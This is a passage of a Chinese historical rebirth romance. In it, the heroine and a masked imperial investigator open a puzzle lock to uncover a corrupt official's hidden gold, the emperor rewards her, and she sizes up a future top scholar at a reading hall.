而那两个抽屉早就被打开,锁头丢在书桌上。
霍凝玉试着将钥匙插入书桌抽屉的锁孔,果然不匹配。
“既然藏得如此隐秘,这把钥匙开启的,必定是更加隐蔽的地方。”霍凝玉思索道。
“林叙卿为人谨慎,但亦有文人雅士的习性。赵大人,你可注意到这墙上挂的画?”霍凝玉再次环顾了一圈书房。
赵炳煜抬头看向墙面。
书房东墙上挂着一幅《秋岁寒图》,笔法精湛,装裱考究。
“这幅画有何特别?”赵炳煜早就揭开看过。
“画是没什么特别的,但这挂画的位置......”霍凝玉走上前,手指轻轻敲击画轴下方的墙面。
“你听。”
赵炳煜侧耳细听,敲击声果然与一般墙壁不同,竟然带着一丝空响。
将画取下,露出后面平整的墙面。
仔细查看,发现墙壁有一处极不显眼的接缝,形成一个约两掌大小的长方形。
赵炳煜用**尖端轻轻划开墙皮,后面竟是一块活动的青砖。
他试着推动,青砖纹丝不动。
霍凝玉凑过来,伸手在砖上抠了抠,居然抠出一个孔,很像钥匙孔。
“试试钥匙。”霍凝玉递上铜匙。
赵炳煜将那把黄铜钥匙插入砖缝,轻轻一转,只听“咔哒”一声轻响,那块青砖突然松动了。
他小心将砖块抽出,后面赫然是一个暗格。
然而暗格中并非金砖,而是又一个更小的铜制机关,上面有五个可以转动的圆环,每个环上都刻着天干地支的字符。
“五行锁!”霍凝玉倒吸一口凉气。
这也做得太精妙了,藏得也太深了。
“这是机关术中的秘锁。”赵炳煜眉头紧锁。
“这要怎么解?”霍凝玉对这个完全不懂。
赵炳煜凝神细思:“他藏匿钱财,必定与某个特定日期有关。这是五行锁常用的秘匙。”
两人试了林叙卿的生辰,他夫人的生辰,儿子女儿孙子的生辰都用了一遍,五行锁却毫无反应。
院中的挖掘声渐渐停歇,余征前来禀报:“大人,整个院子都已掘地三尺,未见任何东西埋在下面。”
“不用挖了。赵炳煜头都没回,丢去一句。
余征见两人都专心在墙上,也走过来看。
“头儿,找到了?”余征兴奋道。
“还没打开机关。”赵炳煜又拨了一组号。
还是没有反应。
赵炳煜几乎要放弃这复杂的机关,考虑直接破墙而入。
就在这时,霍凝玉突然灵光一闪:“林叙卿如此谨慎,他设置的密码可能不是与自己有关,或许是与这笔钱有关。
他是哪年去任知府的,哪年回京的,再试试这两个时期对应的数?”
赵炳煜立即转动圆环,试了几个霍凝玉提到的纪年。
当字符对准“丙寅”,最后一个环归位时,机关内部传来一阵细微的齿轮转动声。
丙寅年正是林叙卿调回京的那一年。
整个墙面突然向内陷进寸许,然后缓缓向一侧滑开,露出一面金墙来。
只见整个墙面,整整齐齐码放着金光闪闪的金砖,在窗外透进的阳光下,折射出诱人而冰冷的光芒。
“我的天。”霍凝玉发出惊叹,声音在寂静的书房中格外清晰。
这么壮观的景象,还是做鬼时见过。
“我的娘呢。”余征也发出有生以来最震惊的惊叹。
“霍小姐,今
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日你又立了大功。”赵炳煜长长舒了一口气。
“哪里,哪里,我们一起发现的。”霍凝玉谦虚推辞。
这怎么能算在她一人头上呢?
一人技短,两人技长而已。
东西找到了,事情就好办了。
林叙卿不是**就是**。
而且还把钱藏得这么隐蔽,就凭这一点,就可知这些钱来路不正。
“这是什么?”余征随手拿起一块金砖,看到后面压着一本书。
拿出来翻了一下。
“头儿,是账本。”
赵炳煜接过,随手翻了几页。
“哼,真是不知死活。”
霍凝玉也接过来看了看。
果然,林叙卿记录了为官二十几年来收受的每一笔钱。
“有了这些证据,林叙卿再无翻身的可能。”霍凝玉最想看到的就是这个结果。
辰王少了一个助力,对她就是喜事。
“余征,去找几个箱子来,再把林宇找来,你们两个负责清点,装箱,一块都不能少,不然你也等着坐牢。”赵炳煜声音冷冽。
“是,头儿。”余征小跑而去。
很快带着人回来。
金砖大小一样,每块都标了重量。
最终统计,整整两万两。
那就是二十万两白银。
这还只是藏起来的,这些年,林叙卿应该还花用了不少。
养两个外室,还穿金戴银,定要花不少钱。
他还有老家族人。
听说他的老父亲还活着。
这是一个庞大的数目,说明还有人在暗中孝敬他。
当一箱箱沉重的箱子抬出林府时,被控制住的林夫人尖叫着要来拦。
那些箱子都是她和儿媳妇的嫁妆箱子。
她一眼就认出。
“让她过来。”赵炳煜让她看个清楚,也死得明白。
余征打开了两个箱子给她看。
林夫人被那金灿灿的光芒给晃得直接晕了过去。
“把林家人都押入大牢。”赵炳煜吩咐。
他又安排了一队禁卫军去把林叙卿的两个外室也一并抓进大牢,等候发落。
早朝直到现在也没散,个个朝官都在等结果。
有人希望赵炳煜空手而回,也有人希望他满载而归。
赵炳煜带着十五个箱子,来到金銮殿。
第63章 死得好
林叙卿再次被带上来,当看到一个个箱子时,面如死灰。
赵炳煜把箱子全部打开。
朝臣们倒吸一口凉气。
如此之多。
“启禀皇上,微臣幸不辱命,从林府搜出黄金两万两,还有一本账本,请皇上过目。”
乾德帝看后,再平和的心态也压不住。
把账本狠狠砸向跪在地上的林叙卿。
“好得很,林叙卿,你可有什么话说?”乾德帝失望到谷底。
他引以为榜样的臣子,最后却是沽名钓誉之辈。
“臣知罪,臣的妻儿什么都不知道,求皇上饶他们一命。”林叙卿知道自己逃不过,只得认罪。
众人复杂的眼神,意味不明。
各有心思。
“刑部尚书。”
“臣在。”刑部尚书曹达立即出列。
“押下去,限你三日之内审清林氏众人,按律处之。“乾德帝挥了挥手。
早朝散去。
赵炳煜扶着乾德帝进了御书房。
轻轻扶着他坐到龙案后,才放手。
“朕没事。不过是一个官员让朕失望而已。好在发现了。”乾德帝不过是看到账本那一瞬,气了一下,深吸两口气就压了下去。
“那就好,臣没别的愿望,只望您身子安好。”赵炳煜心里唯一的亲人只有眼前的老人。
他虽是南楚权势滔天的皇帝,但却给了他最需要的庇护。
他也是他的臣子,他心甘情愿为皇帝鞍前马后。
“摘下面具吧,让朕看看你。好久没见你的真容了。”乾德帝又站起身。
此时他不想坐在龙案后。
赵炳煜又扶着他坐到窗下。
他也坐到乾德帝对面,轻轻摘下轻易不会摘下的面具。
知道他就是靖王府世子的人只有乾德帝和大总管林德全。
林德全为两人切了茶,默默退了出去,守好门户,不让任何人闯入。
“炳煜,昨晚你只说发现林叙卿养外室的事,却没告诉朕你是怎么发现的。
你别糊弄朕,这明显就是精心设计的一场局。”乾德帝端起茶轻啜了一口。
昨晚时间太晚,赵炳煜只说了个大概,怕耽误太长时间,影响乾德帝休息。
“皇伯父,”赵炳煜取下了面具,就不再称呼皇上,脸上带着淡淡笑容,“这个案子能如此顺利,霍家小姐又立了大功。”
“哦?这事你昨晚可没提。”乾德帝一听侄儿又提到霍家小姐。
心里升起八卦。
从第一次侄儿多管闲事之后,他就特别留意这小子与霍家小姐的关系。
接着赵炳煜就把霍凝玉提供消息,到他与霍家定计,再到昨晚几方同时到城南那方小院,以及今日霍凝玉又协助他找出金子的事,仔细说了一遍。
“这霍家小姐真是个能人。她是怎么知道的?”乾德帝抓住重点。
那姑娘在短短时间已经参与三件大事。
她身上定有问题。
“她说,她最近做梦梦见的事,多半都会发生。她试了几次,次次都是真的。她才大着胆子告诉侄儿。助侄儿破了普陀庵案和林氏案。”
“哲儿落水,被她救起,是不是也是她做梦梦见哲儿有此一难?”乾德帝立即想到那件事。
那件事,才是他最重视的,事关皇家嫡子嫡孙,何其重要。
“侄儿没问,估计是。”
乾德帝陷入深思。
如果此女做的梦都是真实的,或者要发生的,那就是一种预知。
“炳煜,派人护着她。如果她再梦见什么,让她定要告之于你。”乾德帝做出决定。
要是她真能梦到一些于南楚国不利之事,能提前预警,那么他就能提前做出应对。
这对南楚是大好事。
“是,侄儿已经把前些日子您给侄儿的四个暗卫,派了一个去。”
“嗯,你拉谢正阳下水,是不是在替她报仇?”乾德帝想到今日早朝上,忠义伯还为此事添了一把火。
“什么都瞒不过您的眼。”赵炳煜承认。
“你倒是会把自己摘得干净。估计今日过后,很多文臣都要恨上他了。京中养外室的,可不止林叙卿一人。
文人的清高,让那帮臣子心里恨着林叙卿,又想如他那般清正,在朕面前博个美名。
整个朝野,清官难寻啊。朕好不容易遇到这么一个,却也是个斯文败类。”乾德帝感叹。
“皇伯父,水至清则无鱼。”赵炳煜安慰。
“朕知道,所以才特意树立这么一个榜样。
不说这个了。
你为何弄出人命?
今日你走后,高家几个官员跪到朕面前请朕为高家三公子做主。”
乾德帝虽不喜高家那个纨绔,但没到想
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要他命的程度。
他反而更希望定远侯家失了子嗣。
“皇伯父,高季晨手上有命案,不过被高家摆平,苦主没闹。
而定远侯家的五公子孔绍立,因是庶子,虽纨绔,但有底线。没闹出过人命。”赵炳煜心里也有一杆秤。
而且昨日如果不闹出人命,他也不好把那条路给封了,让霍夫人改道。
他早就算计好。
“哦?他闹出什么命案?”这事乾德帝完全不知。
“高季晨别看只有十九岁,已经外强中干,玩过不知多少女人。
听说他院里的丫鬟全都被他收用。
这还不够,一次出门游玩,看到一庄户女生得有几分姿色,他就要强行将人带走,只给那姑娘父母三两银子。
气得那家父母兄弟拿了锄头把人赶走。
谁曾想那小子过了几天,偷偷把那姑娘给绑走,藏在一处私宅里,玩乐了几天,就把人给弄**。”赵炳煜查到这个消息时,很想把高季晨也给杀了。
“简直是畜生,死得好。”乾德帝骂道。
“没错。高家主知道后,让管家拿了一百两银子给苦主,这事也就按了下去。”
“既如此,你替朕传个话给高家,让高仕林管好自家子孙。至于他们要如何找定远侯讨公道,让他们自己商量去。这种事朕不管。”
高仕林正是高季晨的父亲,高家家主,也是吏部员外郎。
“是,侄儿如此做,还有一个更大的原因。”
“什么原因?”乾德帝一愣。
“最近得到消息,高家私下在与辰王接触。”赵炳煜点到为止。
意思很明显,他不希望高家站队辰王。
朝廷需维持一个平衡,如果高家站队辰王。
辰王的势力就压了霁王一头,这不是好事。
高家是世家,与京中好些人家都有七拐八拐的关系。
儿子娶亲,女儿出嫁,全是关系网。
皇伯父年纪大了,要是朝局不稳,他会操心更多,对他的身体不利。
而乾德帝瞬间就懂了赵炳煜的意思。
“你有心了。哎,朕确实老了,一个个都等不及了。”乾德帝幽幽一叹。
赵炳煜默默为他续了茶。
不接话。
“对了,你这次怎么没为霍家小姐请赏?”乾德帝忧伤了那么一瞬就恢复正常。
第64章 墨韵文汇阁
“侄儿不是看您心情不太好吗?”赵炳煜露出讨好的笑容。
“朕赏罚分明。两万两金砖,收一半进朕的私库,送一半进户部。
你拿五个给霍小姐送去,再去内务府选一套头面给她送去,当作她以后的嫁妆。”乾德帝对有功者不小气。
而且还是霍凝玉。
他明显感觉到侄儿对那姑娘很上心。
估计这小子动了心,只是他自己不知道罢了。
他也不点破,等着他自己来求赐婚圣旨。
这缘分一来,挡都挡不住,以前催了多次,都白催了。
希望这回不要让他失望。
想到这儿,乾德帝淡笑的脸又收了起来。
靖王为了一个妓子,不要嫡子,说他不对吧,他又是个情种。
认准了就不改。
这种缘分就是孽缘,害苦了炳煜。
哎,还是皇权路闹的,那妓子本也是官家小姐。
可惜命不好,入了贱籍,进不了皇家。
“侄儿替霍小姐谢赏。”赵炳煜起身一揖。
“陪朕一起用午膳吧。”
而被两人谈到的霍凝玉,正在绘声绘色地向容华芝和霍鸣羡讲她今日去林府看到的。
把食不言完全抛之脑后。
“娘,你不知道,那金光灿灿突然出现在眼前,那冲击,真大。好久没看到过了。”霍凝玉说得眉飞色舞。
“哦?好久没看到过?意思就是妹妹曾经看到过?”霍鸣羡一下逮住她话里的漏洞。
“呃......”霍凝玉扫了一眼伺候在侧的几个丫鬟。
“你们都下去吧,我今日讲的这些事,你们听了就听了,不要乱嚼舌根。”霍凝玉突然冷声叮嘱。
霍家不逢高踩低。
林家的事,肯定会被人津津乐道,但她不希望霍家也参与其中。
落井下石有时并不一定大快人心。
平常心即可。
“是,小姐。”
下人都出去后,霍凝玉才又露出笑脸。
“我去国库里看过。”霍凝玉神秘说道,声音压得很低。
容华芝和霍鸣羡会心一笑。
知道她说的是什么时候看到的。
“哪天,我也让父亲带我进国库看看。”霍鸣羡也来了兴趣。
“你去什么去?那是国库,进出都有严格要求,少给你父亲添麻烦。”容华芝笑骂道。
兄妹俩都不吭声,闷头吃饭。
“娘,儿子下午要出去会友,先给您说一声。”饭后,霍鸣羡报备。
“大哥,你要去哪里?我可不可以跟你一起去?”
霍凝玉临时来了兴趣。
容华芝一听,立即笑道:“带上你妹妹。最近她也很爱看书学习,让她体验一下你们文人聚会都说些什么,让她长长见识。”
容华芝希望女儿能多接触一些青年才俊,说不定就看上哪个,动了嫁人的心思。
霍鸣羡看到母亲热情的笑容,如有神助,瞬间就懂了母亲的心思。
“行,你去换身衣服,打扮得漂亮些,别让人说我们霍家寒酸,我们又不故意装清贫。”
明年三月就要会试,一些家资丰裕的学子,就会提前进京。
一来是熟悉京城,二来多找找门路,三来与京中的学子多交流,相互进益。
而霍鸣羡过个几天就会出门与那些来京的学子交流。
他是户部尚书之子,在各学子中自是小有名气。
如果与他交好,以后也多条门路。
霍家虽不是世家,但霍家在京中也有四代了。
霍老太爷,也就是霍凝玉的曾祖父当年是一个州府来的学子,考了会试第五名,从此就在京中扎根。
再后来,她祖父也考上了进士,做到员外郎之职。
她还有两个堂叔父,一个叔父在外任职。
她还有两个姑姑,也嫁给了官身,不过都在外任职。
目前京中只有她父亲在。
霍鹏程作为户部尚书,为了不让皇上忌惮,特意让自己的兄弟和堂兄弟都不要回京。
在外任职更安全。
一旦一个家族在京为官者多了,圣上就会打压。
这是每个为君者最忌惮的。
所以这些年圣上时不时打压一下世家和勋贵。
霍鹏程作为霍家嫡长,又是家主,看得很明白。
兄妹俩来到京中东城一个文汇馆,名叫墨韵文汇阁,三层小楼。
一楼供文人**谈天说地。
二楼供文人下棋,私聊。
三楼收藏了很多书,如果想看,只需交十文钱,就可在里面看一整天书。
里面收录了很多书,什么类型的都有。
墨韵文汇阁是五十年前一位老翰林
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捐资建的。
他一生无儿无女,做了这么一件善事,造福天下读书人。
谁家想捐书就送到这里来,与人共享。
后来归到京兆府管理。
不以赢利为目的,收点小钱,只要够开管理者的月银即可。
这里深受一些文人雅士青睐。
一些学识出众的女子也可来此看书,研学。
各家都知道来这里的都是读书人,很放心自家闺女来此沾沾文气。
近来,每日都座无虚席。
霍凝玉与霍鸣羡二人刚踏入墨韵文汇阁的门槛,就听到各种声音错杂。
十几张黄花梨木桌旁坐满了身着长衫或棉袍的文人。
有的低声交谈,有的凝神倾听。
中央靠楼梯处,五六人围成一圈,其中一人声音清朗,正侃侃而谈。
“……故而,学生以为,如今西陲不宁,看似兵事,实为吏治。若边陲州府官吏皆能清正自守,安抚流民,劝课农桑,使百姓安居乐业,何来宵小煽动之余地?”
说话的是个约莫二十多岁的青年,穿着一件靛蓝直裰,身形略显清瘦,面容算不上十分英俊,但眉宇间有一股藏不住的英气与自信,目光炯炯,眼神灼灼。
他言语间条理清晰,声音不大,却有一股让人信服的力量。
霍凝玉目光一扫到此人,就想起了他是谁。
正是明年殿试后的状元公,廖含章。
当时她病得很重,自然没见过他。
而是死后魂飘认识了此人。
他入了翰林院后,只呆了一年就被安排进了六部中的吏部。
后来辰王成事后,得到重用,成了最年轻的丞相。
可她认为,前三甲其实文采区别并不大,就看谁写的文章正好入了皇帝的眼。
高谈阔论谁都会。
霍凝玉悄声对霍鸣羡道:“大哥,这人讲得似乎有些道理。”
霍鸣羡点点头,目光也落在那青年身上,低语:“见解不俗,非寻常书生可比。”
“可我总感觉他人浮于事,不切实际。”霍凝玉听了他刚才的话,有自己的想法。
霍鸣羡一愣,看了她一眼:“妹妹也懂?”
“不懂,但能分辨。”
霍鸣羡眼神一缩,妹妹话里有话。
不过并没有多问。有些事回家再谈更好。
第65章 他担不起状元的名号
他随即向旁边一位正提着茶壶的老仆役打听:“老丈,请问那位正在说话的兄台是谁?”
老仆役顺着他的目光看去,笑道:“那是廖含章廖公子,广凌郡人士,刚来京城。这几日已是咱们墨韵文汇阁的常客了。
每每有他在场,总能引来不少人听其高论,都说他才学渊博,见识非凡,是明年春闱的热门人物呢。”
就在这时,圈中另一人扬声道:“含章兄所言固然有理,然吏治积弊非一日之寒,岂是轻易可改?
眼下敌寇叩边,烽烟已起,难道还要等我等将官吏一个个都教化成清官廉吏,再去退敌不成?未免迂腐。”
廖含章闻言,并不着恼,反而微微一笑。
从容应道:“李兄所言极是,吏治革新确非旦夕之功。
然正因其难,更需朝廷下定决心,持之以恒。
边患紧急,自然需良将精兵即刻应对,此为治标;
而整饬吏治,固本培元,方为治本之策。
标本兼治,方是长治久安之道。
譬如医者,既需用猛药退其高热,亦需用温补固其元气,二者不可偏废。”
他顿了顿,目光扫过在场众人,继续道:“且,朝廷科举选拔人才便是吏治之始。
若科举能多取务实、明理、有担当之士,派往地方,潜移默化,风气未必不可转。
这墨韵文汇阁,集天下书籍与读书人共享,此亦是培植人才、涵养风气之善举也。
吾辈既受此惠,更当思学以致用,报效家国。”
这一番话,既回应了质疑,又引申开去,格局立显。
周围不少人都频频点头,连先前出言反驳的那位李兄也面露思索之色。
霍鸣羡眼中露出赞赏之意,对妹妹道:“此人胸有沟壑,不仅熟读诗书,更能通晓时务,此人不可小觑。”
但霍凝玉还是那种感觉,只是高谈阔论,在她看来只是嘴皮子厉害。
但又能让辰王提为丞相,本事自是有的,至于他用了什么手段,她没细看。
不过那都是几年后的事情。
后来霍家遭难,大哥的一身才情也没了用处。
而这一世她重生了,霍家她一定能保住。
如果辰王不会如前世那般成事,那么此人的命运或许也会改变。
“大哥,你不用出声,只需听听他说些什么,分析他的观点,去其糟粕,取其精华,回家再与父亲谈论,对你或许更有帮助。”霍凝玉说道。
“嗯。我从不在这种场合出风头。”霍鸣羡很沉稳。
有些人喜欢受人吹捧,有些人喜欢显摆自己的才学。
而他两者皆不喜,说得再好,也没用,考上进仕,不过是为了进入官场,那才是一个锻炼人的地方。
能考上进士的,没一个差的。
而入了官场,每个人会有什么样的前程,全看如何做人做事。
廖含章正说得起劲,忽然感觉众人的眼睛没再看他,而是盯着他的后面。
他才停下,也转身,结果看到一位身着华服,长相甜美的姑娘站在门边,正看着他高谈阔论。
圆圆的苹果脸,自带喜气。凤尾眼,明亮有神,面对一众男子也不带一丝怯意。
大大方方。
这样的姑娘让人一眼难忘。
而且她一身淡蓝色襦裙,衬得她更显身姿窈窕。
此刻,他竟生出一丝倾慕来。
廖含章面含微笑,走过来。
“这位兄台,不知如何称呼?”廖含章先一揖。
“在下姓霍,名鸣羡。”霍鸣羡回礼。
但脸上并没带笑,他已捕捉到眼前之人看妹妹的眼神有亵渎之意。
而一看此人年龄就知他肯定已娶妻。
却还如此看一个姑娘,此为行身不正。
廖含章一听姓霍就知是谁了。
“原来是霍尚书家的大公子,幸会幸会,在下广凌郡廖含章。”廖含章又揖。
“在下只是来坐坐,听听大家谈笑风生。你随意。”霍鸣羡不太想与此人深交。
“这位小姐可是尚书千金霍大小姐?”廖含章似是没听懂霍鸣羡的话般。
主动向霍凝玉一揖。
面上的笑容温文尔雅。一副君子风范,做出的事却让人反感。
“正是。”霍凝玉已经判断出此人是什么样的人了。
这种人居然考了状元,苍天无眼。
“霍大公子,可否一起以文汇友?在下已来了五日,今日还是第一次见你来。”廖含章主动邀请。
霍凝玉扯了扯大哥
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的衣袖,轻轻点了点头。
而她的动作自是落入廖含章眼里。
脸上的笑容加深了几分。
霍家小姐,这是对他另眼相看吗?
霍鸣羡让霍凝玉去三楼看书,他在一楼与这些学子们一起探讨学问。
他一时没明白妹妹为何让他接受廖含章的邀请。
但妹妹如此,定有原因,等回府再问。
经过一下午交流,霍鸣羡对廖含章的学问有几分赞赏。
书的确读得不错,四书五经,经史子集都烂熟于心。
但在策论时,比较激进,缺乏实际依托,也就是浮于表面。
学子众多,各抒己见。
一下午下来,他从他们身上学到了不少,而他很少发言。
霍凝玉在三楼找了本游记看了一下午。
等到大哥上来叫才停下。
而她下楼来时,看到廖含章又看向她,那眼神有些热烈。
不过她没有多想,这种从外地来的学子,都想在京中找个依靠。
或许他想找霍家。
前世这时她已经嫁人,并没有陪大哥来此。
他与大哥是什么交情,她并不知道。
回到家,霍鸣羡直接带着霍凝玉去了自己的书房。
“妹妹,关于明年科考,你并不曾与我说过,可否说说?”
原本他不想知道,凭本事能考什么名次就考什么名次。
可今日看到妹妹明明感觉到廖含章那不入眼的作派,却还让他与他一起探讨学问,就知道此人可能大有来头。
“大哥,那廖含章出生广凌郡一个世家,祖上并没有出过高官,但他从小就有读书的天赋,家族十分看重。而他本人也很争气,明年科考,他被圣上点为状元。
而你只是探花。
但今日初次见到此人,也不过尔尔。
大哥都比他务实。
在我眼里,他担不起状元的名号。
刚才回来的路上,我想了一路。前世我嫁入忠义伯府,过年前就开始病病歪歪,你心里担心我。
过了年,你又娶妻,新婚燕尔,又分了你一些精力。
在你考试前,我病得越发重了,你更是为我忧心,或许就是这些原因导致你考试失利。
让那姓廖的捡了个便宜。”
第66章 送赏上门
霍鸣羡听了妹妹的话,陷入沉思。
今日听了廖含章的各种论述,觉得此人是个专营之辈,这样的人被点为状元,是朝廷之祸。
“后来,辰王上位,还重用此人,三十岁就被提为丞相。”霍凝玉又补充道。
这话佐证了霍鸣羡所想,果然是个善专营之辈。
“妹妹,大哥接下来不再外出,专心在家温书,只去几位老师那里请教。”
他今日已见识到所谓状元之才,心里已经有底。
“嗯,大哥没有前世那些干扰,肯定能考得更好。”霍凝玉给他鼓劲。
晚上,一家人刚用过晚膳。
门房来报,赵炳煜求见霍鹏程。
霍凝玉不作多想,肯定是来找她的,脸上带着淡淡喜色。
一家人都坐在正厅等着。
赵炳煜居然着了一身常服。
墨紫色缂丝长袍,袍裾江牙海水纹样,一件褐色大氅罩在身上,彰显着不容置疑的尊贵。
头戴赤金点翠发冠,两侧垂下两条玄色缎带,更衬得几分不怒自威。
指间一枚羊脂玉扳指温润生光,举手投足间,从容自若。
迈着沉稳的步伐走进厅里,看得霍凝玉直了眼。
第一次见他这样着装,竟如此养眼。
虽看不到全脸,但他的唇角淡淡翘起,可见他此时心情甚好。
“见过霍大人,霍夫人。”赵炳煜停在中间,一揖。
“赵大人不必多礼,请坐。”霍鹏程一摆手。
“赵大人怎么这时候来?”霍鸣昶仗着自己小,问得直接。
“本官的身份,不宜白日来。”
他的身份,大白天去谁家,那就是有公干。
百官最怕他到访。
“今日霍大小姐又立了大功,圣上有赏,本官自请送来。”
赵炳煜说完,冲外面喊了一声余征。
余征捧着一个盖了红布的托盘进来。
霍凝玉一听是给自己的,心花怒放。
起身走到余征面前,揭开红布。
“哇,金砖!”霍鸣昶惊叫,也几步走过来。
“大姐,给我一块呗,我长这么大,从来没花过金砖,平时娘给我的都是银子。”
说着,他就伸手拿起一个,在手里掂了掂,“二十两。五个就是一百两。大姐太会挣钱了。”
最近大姐得了不少圣上给的赏赐,他这个弟弟走在国子监也很有面子。
他还故意在谢正齐面前炫耀。
谁让他是谢正阳的弟弟呢。
“鸣昶,那是圣上赏你大姐的,你怎么能要?”容华芝笑着打趣。
“赏了我大姐,就是大姐的,大姐不会小气的,是吧?”
霍鸣昶的话让人忍俊不禁。
“霍二公子要一块金砖问题不大,但这盒子里的可不能要了。”赵炳煜示意霍凝玉把金砖旁的盒子打开。
那是他亲自挑选的。
霍凝玉放下手里的金砖,拿起精美的盒子打开。
“哇,赤金红宝石缠丝牡丹头面,还是十二件套的,真漂亮,大姐要是戴出去,一定把好些贵女都比下去。”霍鸣昶又惊叫起来。
这一套头面的价值远超那五块金砖。
霍凝玉轻轻摸过每一件饰品。
确实漂亮,且贵气。
“多谢圣上,多谢赵大人。”霍凝玉向赵炳煜蹲了蹲身。
她在圣上的心里越来越有分量了。
圣上多记些她的好,说不定大哥明年科考后,殿试时,看到大哥的考卷,无形中给他加点分。
赵炳煜只是点了点头,收下她的谢。
“霍大小姐,本官有话与你说。”赵炳煜言下之意是想私下说。
霍凝玉错愕。
大晚上的,来她家,要单独与她说话,当她的家人不存在吗?
“凝玉,带赵大人到园子里走走吧。”霍鹏程知道赵炳煜定是有重要的事与女儿说。
而白天他不好上霍府,只能这时候来。
霍凝玉得了父亲的首肯,手里提了个灯笼,带着赵炳煜来到霍家园子里。
霍家的园子并不大,但设计得很精巧,园子虽小,五脏俱全,小池塘,小拱桥,小凉亭......
**中旬的夜色下,朦胧而神秘。
两人的脚步声在这寂静的月色下显得格外清晰。
“霍小姐,我已把你做梦能梦到真实事件的事说与了圣上听。”赵炳煜率先开口打破了沉默。
“啥?
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”霍凝玉一惊,“圣上会信?”
“他信了,这两个月来,你告诉我的几件事就是例子。圣上让我带话给你,如果你再梦见什么,尤其关乎南楚国运的大事,一定要告诉我。我自会传给圣上。”赵炳煜说得异常认真。
“好。”霍凝玉一口答应。
她当然知道一些,但不能一下说出来。
需得一点点来。
不然就会当成妖了。
两人继续漫步。
说起今日之事。
“赵大人,林叙卿所犯之罪,依律会受到怎样的刑罚?”霍凝玉对那种**子没有任何同情。
林夫人她也不同情。
同床共枕那么多年,居然没发现一点异常。
虽是她的悲哀,何尝不是她愚蠢的代价。
要是她是一个有能力的女人,把男人管好,何至于发展到今天这个地步。
“林叙卿所贪银钱数额之巨,估计会被判斩立决。”
“啊?这么严重?”霍凝玉吃惊。
真是一点退路都没了,不过,活该。
一阵夜风袭来,霍凝玉拢了拢衣襟。
赵炳煜见此,解下大氅,很自然披到她身上。
带着他体温的大氅一上身,一股暖流由外向里,温暖了霍凝玉的身子。
同时,心也感觉柔柔的。
说不清道不明的感觉袭上霍凝玉的心田。
一个冷淡的人,却知道她此时有些冷,这么自然为她考虑。
这和她前世所见,完全不同。
她在魂飘时,偶尔见到他办案,从来都是一身冷冽之气,杀伐果断。
而这一幕正好被偷偷藏在院门外的霍鸣昶看了个真切。
他想偷听的,可是却被余征给拦住,他只得远远藏着。
余征看到他的小动作,当没看到。
霍鸣昶看到此,嘴巴大张,惊愕之后,撒腿跑回正厅。
父母还在。
立刻打小报告。
“爹,娘,这赵大人莫不是看上我姐了吧?他一个没有任何背景的六品官,哪来的胆子敢肖想我大姐?”
霍鸣昶激动又吃惊。
他每天都要去国子监上学,大姐与赵大人居然走得这么近了,他都不知道。
第67章 男人养外室的受害者
霍鹏程夫妻对视一眼。
“回你自己院子去,大人的事,你少管。”霍鹏程呵斥道。
“爹,我已经满十五岁了,哪里就是孩子了?”霍鸣昶不服气。
“你不想你姐姐找个人嫁?”容华芝含笑打趣。
“我当然希望大姐能找个好男人嫁了,可是赵壑......”他配不上大姐呀。
其实是他怕大姐再次被人伤害,退了亲才两个多月而已。
大姐肯定还没走出过去的阴影。
“行了,你姐心里有数。”霍鹏程打发走小儿子。
夫妻俩一时沉默。
女儿的打算他们都知道。
想攀上赵大人一步步对上辰王,要走这条路,自然得与赵大人走得近。
可他们对赵壑了解并不多,此人一出现就在圣上身边。
从不以真面目示人。
大家都猜是圣上身边的影卫之一,深得圣上信任。
“夫君,你是什么态度?”容华芝作为母亲,自是希望女儿能嫁人的。
男大当婚,女大当嫁,这是自古以来的规矩。
但前提是男子要真心爱重她的女儿。
女儿受过一次伤已足够。
再找人,定要好好考校过才可点头。
“夫人,不必担心,凝玉经过大难,心里自有成算。一切顺其自然吧。她不必嫁入高门,只需找个一心待她的即可。”霍鹏程看得很开。
“赵大人目前是得圣上信任,可是圣上已经五十二。
圣上在时,自能有一份体面,可一旦圣上去了,他得罪了那么多人,以后的路可要怎么走?”容华芝还是不放心。
赵壑所做的事,全是得罪人的事,以后能有什么好下场?
要是女儿真与他走到一起,未来要如何,她心里没底。
“没事,大不了我霍家招他入赘,就当是我儿好了,难道我堂堂户部尚书,还护不住一个没有背景的孤儿?”霍鹏程很霸气。
园子里的两人自是不知道夫妻俩的谈话。
“赵大人,林家的家眷会怎么判?”霍凝玉继续问。
林家刚得的孙子才满月,就家遭巨变。
霍凝玉对孩子生出同情。
“放心,圣上不是嗜杀之人,如果家眷对林叙卿的事当真完全不知,最多流放两千里。适当照顾一些。”
赵炳煜看出霍凝玉的善良。
他从她身上看到当年他母亲善良的一面。
“那他养的两个外室怎么处理?”霍凝玉又问。
“那两个外室是下面的官员孝敬他的,属于贱籍,自是去她们该去的地方。”赵炳煜不想说得太仔细。
像这种女子,一般都是从青楼买来的,经过调教,用于笼络上官。
霍凝玉其实听懂了。
“你可还有什么消息告诉我?”赵炳煜希望她再提供些消息。
那样,他就又有理由与她走得近了。
他从她身上看到了阳光,不知不觉,他总想靠近她。
霍凝玉一听,灿烂一笑。
“有呀。你知道今日早朝上为什么是那个梁御史积极打头阵吗?”
“不知。”赵炳煜一听有,略带遗憾的心突然放松。
当真又有消息给他。
“因为昨日是我让父亲写信给外祖父,特意把这个表现的机会给梁御史。”
“为何?”赵炳煜见她笑得有些贼,就知道她肯定要使坏。
如此有活力的姑娘,让他看着心情舒畅。
“因为他也养了外室,今日他蹦跶得有多欢,等哪天报出来,就好玩了。
而且他按我外祖父的意思做这个出头鸟,估计也想看看皇上是什么态度。
如果今日皇上从轻发落了林叙卿的外室,那么他可能就把自己的外室暴露出来。
如果皇上重处,他可能就要藏得更深些。”霍凝玉也不卖关子。
赵炳煜皱起了眉:“你怎么总是梦见男人养外室?”
霍凝玉一噎。
她正好看到了呀。
“京里养外室的男人何其多。女人长得漂不漂亮并不因身份来决定。而很多绝色女子出自民间,被一些青楼收罗,专为好色的男人准备。
而我朝规定,官员不得出入青楼楚馆,一旦发现轻则受罚,重则丢官。
所以那些男人隐瞒身份,悄悄去。
老鸨的一双眼如火眼金睛,那些绝色女子就派上了用场,高价卖出。
可出身青楼的女子,谁家也不会允许入门,那就养在外面。”霍凝玉早就看穿其中的缘由。
男人想要绝色美人,可又过不了家里那关,外室自然就越来越多。
“岂有此理。
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”赵炳煜咒骂。
这几年,他一手成立皇城司,只查一些要案,再注意一些官员是否有结党营私之嫌。
至于他们的私生活,需要时才去关注。
养外室,他是有看到,但今日霍凝玉的分析让他有了新的认识。
